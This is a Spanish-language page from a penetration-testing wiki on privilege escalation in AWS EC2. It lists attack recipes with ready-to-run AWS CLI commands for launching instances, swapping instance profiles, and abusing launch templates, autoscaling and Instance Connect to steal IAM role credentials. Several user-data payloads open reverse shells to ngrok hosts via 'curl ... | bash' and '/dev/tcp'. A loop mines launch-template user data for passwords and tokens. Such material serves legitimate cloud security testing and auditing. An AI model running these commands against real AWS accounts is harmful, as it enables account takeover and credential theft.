AWS - EC2 Privesc

Support HackTricks

EC2

Para más información sobre EC2 consulta:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

iam:PassRole, ec2:RunInstances

Un atacante podría crear una instancia adjuntando un rol IAM y luego acceder a la instancia para robar las credenciales del rol IAM desde el punto final de metadatos.

  • Acceso vía SSH

Ejecuta una nueva instancia usando una clave ssh creada (--key-name) y luego accede a ella por ssh (si deseas crear una nueva, es posible que necesites tener el permiso ec2:CreateKeyPair).

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
--security-group-ids <sg-id>
  • Acceso a través de rev shell en datos de usuario

Puedes ejecutar una nueva instancia utilizando un datos de usuario (--user-data) que te enviará un rev shell. No necesitas especificar el grupo de seguridad de esta manera.

echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=E<instance-profile-name> \
--count 1 \
--user-data "file:///tmp/rev.sh"

Ten cuidado con GuardDuty si usas las credenciales del rol IAM fuera de la instancia:

AWS - GuardDuty Enum

Impacto Potencial: Privesc directo a cualquier rol EC2 adjunto a perfiles de instancia existentes.

Privesc a ECS

Con este conjunto de permisos también podrías crear una instancia EC2 y registrarla dentro de un clúster ECS. De esta manera, los servicios de ECS se ejecutarán dentro de la instancia EC2 a la que tienes acceso y luego podrás penetrar esos servicios (contenedores docker) y robar sus roles ECS adjuntos.

aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
--instance-type t2.micro \
--iam-instance-profile <ECS_role> \
--count 1 --key-name pwned \
--user-data "file:///tmp/asd.sh"

# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs)
# The EC2 instance profile needs basic ECS access
# The content of the user data is:
#!/bin/bash
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;

Para aprender a forzar que los servicios de ECS se ejecuten en esta nueva instancia de EC2, consulta:

AWS - ECS Privesc

Si no puedes crear una nueva instancia pero tienes el permiso ecs:RegisterContainerInstance, podrías registrar la instancia dentro del clúster y realizar el ataque comentado.

Impacto Potencial: Privesc directo a los roles de ECS adjuntos a las tareas.

iam:PassRole, iam:AddRoleToInstanceProfile

Similar al escenario anterior, un atacante con estos permisos podría cambiar el rol de IAM de una instancia comprometida para poder robar nuevas credenciales. Como un perfil de instancia solo puede tener 1 rol, si el perfil de instancia ya tiene un rol (caso común), también necesitarás iam:RemoveRoleFromInstanceProfile.

# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>

# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>

Si el perfil de instancia tiene un rol y el atacante no puede eliminarlo, hay otra solución alternativa. Podría encontrar un perfil de instancia sin un rol o crear uno nuevo (iam:CreateInstanceProfile), agregar el rol a ese perfil de instancia (como se discutió anteriormente) y asociar el perfil de instancia comprometido a una instancia comprometida:

  • Si la instancia no tiene ningún perfil de instancia (ec2:AssociateIamInstanceProfile) *

aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>

Impacto Potencial: Privesc directo a un rol EC2 diferente (necesitas haber comprometido una instancia AWS EC2 y tener algunos permisos adicionales o un estado específico del perfil de instancia).

iam:PassRole(( ec2:AssociateIamInstanceProfile& ec2:DisassociateIamInstanceProfile) || ec2:ReplaceIamInstanceProfileAssociation)

Con estos permisos es posible cambiar el perfil de instancia asociado a una instancia, por lo que si el ataque ya tenía acceso a una instancia, podrá robar credenciales para más roles de perfil de instancia cambiando el asociado a ella.

  • Si tiene un perfil de instancia, puedes eliminar el perfil de instancia (ec2:DisassociateIamInstanceProfile) y asociarlo *

aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
  • o reemplazar el perfil de instancia de la instancia comprometida (ec2:ReplaceIamInstanceProfileAssociation). *

```bash
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<valor> --association-id <valor>
```

Impacto Potencial: Privesc directo a un rol EC2 diferente (necesitas haber comprometido una instancia AWS EC2 y algunos permisos adicionales o un estado específico del perfil de instancia).

ec2:RequestSpotInstances,iam:PassRole

Un atacante con los permisos ec2:RequestSpotInstancesyiam:PassRole puede solicitar una Instancia Spot con un Rol EC2 adjunto y un rev shell en los datos del usuario. Una vez que la instancia se ejecute, puede robar el rol IAM.

REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 request-spot-instances \
--instance-count 1 \
--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"

ec2:ModifyInstanceAttribute

Un atacante con el ec2:ModifyInstanceAttribute puede modificar los atributos de las instancias. Entre ellos, puede cambiar los datos del usuario, lo que implica que puede hacer que la instancia ejecute datos arbitrarios. Esto se puede utilizar para obtener un rev shell a la instancia EC2.

Tenga en cuenta que los atributos solo se pueden modificar mientras la instancia está detenida, por lo que los permisos ec2:StopInstances y ec2:StartInstances.

TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0

--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"

#cloud-config
cloud_final_modules:
- [scripts-user, always]

--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"

#!/bin/bash
bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1
--//'
TEXT_PATH="/tmp/text.b64.txt"

printf $TEXT | base64 > "$TEXT_PATH"

aws ec2 stop-instances --instance-ids $INSTANCE_ID

aws ec2 modify-instance-attribute \
--instance-id="$INSTANCE_ID" \
--attribute userData \
--value file://$TEXT_PATH

aws ec2 start-instances --instance-ids $INSTANCE_ID

Impacto Potencial: Privesc directo a cualquier Rol IAM de EC2 adjunto a una instancia creada.

ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplate,ec2:ModifyLaunchTemplate

Un atacante con los permisos ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplatey ec2:ModifyLaunchTemplate puede crear una nueva versión de Plantilla de Lanzamiento con un rev shell en los datos del usuario y cualquier Rol IAM de EC2 en él, cambiar la versión predeterminada, y cualquier grupo de Autoscaler usando esa Plantilla de Lanzamiento que está configurada para usar la última o la versión predeterminada volverá a ejecutar las instancias usando esa plantilla y ejecutará el rev shell.

REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 create-launch-template-version \
--launch-template-name bad_template \
--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}"

aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2

Impacto Potencial: Privesc directo a un rol EC2 diferente.

autoscaling:CreateLaunchConfiguration, autoscaling:CreateAutoScalingGroup, iam:PassRole

Un atacante con los permisos autoscaling:CreateLaunchConfiguration,autoscaling:CreateAutoScalingGroup,iam:PassRole puede crear una Configuración de Lanzamiento con un Rol IAM y un rev shell dentro de los datos del usuario, luego crear un grupo de escalado automático a partir de esa configuración y esperar a que el rev shell robe el Rol IAM.

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
--image-id ami-0c1bc246476a5572b \
--instance-type t3.micro \
--iam-instance-profile EC2-CloudWatch-Agent-Role \
--user-data "$REV"

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--auto-scaling-group-name bad_auto \
--min-size 1 --max-size 1 \
--launch-configuration-name bad_config \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"

Impacto Potencial: Privesc directo a un rol EC2 diferente.

!autoscaling

El conjunto de permisos ec2:CreateLaunchTemplate y autoscaling:CreateAutoScalingGroup no son suficientes para escalar privilegios a un rol IAM porque para adjuntar el rol especificado en la Configuración de Lanzamiento o en la Plantilla de Lanzamiento necesitas los permisos iam:PassRole y ec2:RunInstances (lo cual es un privesc conocido).

ec2-instance-connect:SendSSHPublicKey

Un atacante con el permiso ec2-instance-connect:SendSSHPublicKey puede agregar una clave ssh a un usuario y usarla para acceder (si tiene acceso ssh a la instancia) o para escalar privilegios.

aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"

Impacto Potencial: Privesc directo a los roles IAM de EC2 adjuntos a las instancias en ejecución.

ec2-instance-connect:SendSerialConsoleSSHPublicKey

Un atacante con el permiso ec2-instance-connect:SendSerialConsoleSSHPublicKey puede agregar una clave ssh a una conexión serial. Si la serial no está habilitada, el atacante necesita el permiso ec2:EnableSerialConsoleAccess para habilitarla.

Para conectarse al puerto serial también necesita conocer el nombre de usuario y la contraseña de un usuario dentro de la máquina.

aws ec2 enable-serial-console-access

aws ec2-instance-connect send-serial-console-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--serial-port 0 \
--region "eu-west-1" \
--ssh-public-key "file://$PUBK_PATH"

ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws

Este método no es muy útil para privesc ya que necesitas conocer un nombre de usuario y una contraseña para explotarlo.

Impacto Potencial: (Altamente improbable) Privesc directo a los roles de IAM de EC2 adjuntos a las instancias en ejecución.

describe-launch-templates,describe-launch-template-versions

Dado que las plantillas de lanzamiento tienen versionado, un atacante con permisos de ec2:describe-launch-templates y ec2:describe-launch-template-versions podría explotarlas para descubrir información sensible, como credenciales presentes en los datos del usuario. Para lograr esto, el siguiente script recorre todas las versiones de las plantillas de lanzamiento disponibles:

for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do
echo "[*] Analyzing $i"
aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata
do
echo "VersionNumber: $version"
echo "$userdata" | base64 -d
echo
done | grep -iE "aws_|password|token|api"
done

En los comandos anteriores, aunque estamos especificando ciertos patrones (aws_|password|token|api), puedes usar una expresión regular diferente para buscar otros tipos de información sensible.

Suponiendo que encontramos aws_access_key_id y aws_secret_access_key, podemos usar estas credenciales para autenticar en AWS.

Impacto Potencial: Escalación de privilegios directa a usuario(s) de IAM.

Referencias

Apoya a HackTricks

Last updated